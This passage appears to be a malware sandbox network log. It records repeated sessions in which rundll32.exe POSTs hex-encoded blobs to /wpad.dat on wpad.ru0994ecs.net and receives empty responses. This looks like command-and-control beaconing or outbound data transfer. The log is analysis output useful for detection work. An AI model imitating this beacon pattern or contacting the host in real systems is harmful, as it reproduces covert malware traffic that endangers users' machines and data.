2024-04-16 13:35:34 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:34 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:35 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QswKMhY0sXsJm0r2wjkNsti3tIkkQ15UfzFUk4KnpvE%2Bcf%2BWRJH28TwtfMwlNJTMBkU86y5LA6oUE1AGtjraFEGSw0ZGajsQ83fY47YFfpUXUBOowy2IUihFn%2Bx%2FGAAYWxLAgSk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f32da436783-ATL
2024-04-16 13:35:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49727	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:37 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:37 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:37 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HzL7g1yRmJxZW8NW%2FlrWjELsOo0Zwj0yx2PodK8r0RdnIWG9jhbkNbkOMbO%2FiN3Oa1Iy4dmChIj4BuQmVHYak8WQ7c1RAzsPBeH%2FUhvvmj9VB1jU8dU%2Fb3LncHvMoV5cV%2FyTSKE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f428cb5b0b7-ATL
2024-04-16 13:35:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49728	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:37 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:37 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:37 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4%2FPkXPKcMcos%2BM%2BRPacxUS%2FKd8vRGQ0hAEdUzt0D899hKTUOKWvyR7mL82i4YfQWFn05V%2FIJ%2FowkmUN6SDVS4fs1Y6EqLr7o9UH5qJTg%2FmS8irb78PzfHEEMK56OtHFGAX1LW8s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f438866b0bd-ATL
2024-04-16 13:35:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49729	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:37 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:37 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:38 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uFOXDVov0CmJL7iOT7wCKbQW5spYE8hOfnGOq8G5IPJW19csNXfgdm0ryIM%2FjQt0exDuOOasEUVR33%2BdfjPd5OPliBTQnYU6DA6SmNkF039pTTOO7%2FRE0UitZtpVNWMK2M6JZYw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f463ab853c2-ATL
2024-04-16 13:35:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49730	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:37 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:37 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:38 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=db3QhJu%2BrTVN7XlyBhldMmrZoujIIjrtVtber92tcfOBHH15iSixlmeXJxtU13CjL2ZnHJjKE%2FEExQnegciM9ays0YlC1c1KC%2BUr0rsgGCRkmk1QH0h5DceTvmO%2FuVfT0xpqSLE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f476ff853e1-ATL
2024-04-16 13:35:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49731	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:39 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:39 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:39 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aoey92IGiYSj4wPwkKVxZRYRMH81TdEf34ng6L2%2BH8hmHK1QBZ8mfSvQH0sgNpwGfXML0LIkuSq8ixOSPR2FOb61i2l4ThvusEtFxZzY6BNw6WCPC0B9jbxN1xcp3OOUr3yX6ms%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f4edc576789-ATL
2024-04-16 13:35:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49732	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:39 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:39 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:39 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dCpfACu4DcFmyHD%2Bk%2Bx6LGkcr1bf09JdNAVhCZqbBjqDLwXKCHkrU2w0EB4rmsXgf3cx8MRUIp7c3EUS%2FVE0hVsrmZwjMauweObWsEV%2BBORcX2B3RNEKw0nfa0iGDA6%2F%2BhKCtAE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f507cc844ed-ATL
2024-04-16 13:35:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49733	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:39 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:39 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:39 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V6DvJQ7PHJafaCuUCt3Jzt%2FiTMm9zHYlzoknpbaImueNokP4phQmLWeQTvPZMg1l0x%2FAx8CvlMOXb05NkveBpHL7FUqngcrBCvN3IuHBZh%2Bd7%2Fs6m4uAC2SdJvPDrQgjb5d3yDg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f517e1a453e-ATL
2024-04-16 13:35:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49734	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:40 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:40 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:40 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yfc%2F7UVIfVCQS2ag7GWTicAvuPM5Gc3zB8OCN81mGreaosaYHN8mW1PK%2FjeuLhUhvoutOw7GLGCAGadBcWPY4%2BuYnPzOPMXaARqhTMsWUZmLX%2BN65TtJcuUrORvCv0p0ofkpUXg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f541c5c6773-ATL
2024-04-16 13:35:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49735	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:40 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:40 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:40 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n0AcTtDIx79SfdgvIxQUJ7upzovUnzRYGQBEZ9UcxjLWe9lmd2MbfJAEMJQZi2tHbqaB29ptzlx9Ba3dz8yoWR5D0sTLoRyhDe1kmbqgY3DBzHpuhtLgTR24N%2F7WUlpEZF0r%2BFA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f553ae2678b-ATL
2024-04-16 13:35:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49736	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:41 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:41 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:41 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zeX73AwCSHXwndfFeILTkQLx2ajDkyx0WdDlZmetWAMkSPZzAIBY9F2gQEb%2BACBdiWb%2BONKYbgwCSJYPEaBsE5hBfWhEeeSlTtvJmwxpE%2BA0fejXivGNDm%2FJGYCBWTf9LRTjfu8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f5e4fa0672d-ATL
2024-04-16 13:35:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49737	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:41 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:41 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:42 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=88nIc2jpY5WbaFRtB5IpfA0q%2FNyFUsyCgiVdeJ6k3wFP2S%2BhJ%2BmhOztxu1IM8iiPBoPhtwbDsbwwZisomXrZh1ozpjpcBGgqfiPiQGJFpCnGFRWpLKUel0HjaK6glLF3zLLNMag%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f5f1f1ab06a-ATL
2024-04-16 13:35:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49738	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:42 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:42 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:42 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gb%2FJdTJsPE%2FGXLbhUuZwkkJDN5yOFCM3tEVRhOapto4Y2MuPD3QlWz9Fo8KiHiWI8%2Ff%2FCGnsKyE3eLCXDC4XgG6xfdQNwDbP9W4%2Fv1m2hWaB5WNyF8WNq%2BHST7LHLwIQg%2Fp%2Bjl8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f61ed974535-ATL
2024-04-16 13:35:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49739	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:42 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
